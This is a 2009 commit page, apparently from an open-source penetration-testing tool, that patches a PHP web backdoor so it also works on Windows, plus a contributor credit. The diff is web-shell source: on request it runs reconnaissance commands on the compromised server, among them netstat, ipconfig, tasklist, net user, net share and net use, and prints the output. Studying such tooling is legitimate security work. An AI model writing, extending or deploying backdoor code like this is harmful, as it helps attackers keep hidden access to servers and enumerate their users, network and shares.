Minor patch to make the PHP web backdoor work also on Windows

This commit is contained in:
Bernardo Damele 2009-10-22 16:25:19 +00:00
parent 89c43893d4
commit f1a7d095aa
2 changed files with 10 additions and 5 deletions

View File

@ -159,6 +159,10 @@ John F. Reiser <sales@bitwagon.com>
Metasploit Framework 3 payload stager portable executable, Metasploit Framework 3 payload stager portable executable,
http://upx.sourceforge.net http://upx.sourceforge.net
Simone Onofri <simone.onofri@gmail.com>
for patching the PHP web backdoor to make it work properly also on
Windows
Antonio Parata <s4tan@ictsc.it> Antonio Parata <s4tan@ictsc.it>
for providing me with some ideas for the PHP backdoor for providing me with some ideas for the PHP backdoor

View File

@ -98,7 +98,7 @@ if (isset($_REQUEST["sysinfo"])) {
echo "<b>Operating system</b><br><pre>" . @PHP_OS; echo "<b>Operating system</b><br><pre>" . @PHP_OS;
echo "</pre><b>Server uname</b><br><pre>" . php_uname(); echo "</pre><b>Server uname</b><br><pre>" . php_uname();
echo "</pre><b>Server uptime</b><br><pre>"; echo "</pre><b>Server uptime</b><br><pre>";
echo ex("uptime"); echo (!$win) ? ex("uptime") : ex("net statistics server");
echo "</pre><b>Server time</b><br><pre>"; echo "</pre><b>Server time</b><br><pre>";
echo date("D, M d, h:iA"); echo date("D, M d, h:iA");
echo "</pre><b>Disk space</b><br><pre>"; echo "</pre><b>Disk space</b><br><pre>";
@ -118,12 +118,13 @@ if (isset($_REQUEST["sysinfo"])) {
echo "</pre><b>Memory information</b><br><pre>"; echo "</pre><b>Memory information</b><br><pre>";
echo ex("cat /proc/meminfo"); echo ex("cat /proc/meminfo");
echo "</pre><b>Open ports and active connections</b><br><pre>"; echo "</pre><b>Open ports and active connections</b><br><pre>";
echo ex("netstat -nat"); echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
echo "</pre><b>Network devices</b><br><pre>"; echo "</pre><b>Network devices</b><br><pre>";
echo ex("/sbin/ifconfig -a"); echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
echo "</pre><b>Processes</b><br><pre>"; echo "</pre><b>Processes</b><br><pre>";
echo ex("ps auxfww"); echo (!$win) ? ex("ps auxfww") : ex("tasklist");
echo "</pre>"; echo "</pre>";
echo ($win) ? "<b>Network use</b><br><pre>".ex("net use")."</pre><b>Network share</b><br><pre>".ex("net share")."</pre><b>Network user</b><br><pre>".ex("net user")."</pre>" : "";
} }
else if(isset($_REQUEST["phpinfo"])) { else if(isset($_REQUEST["phpinfo"])) {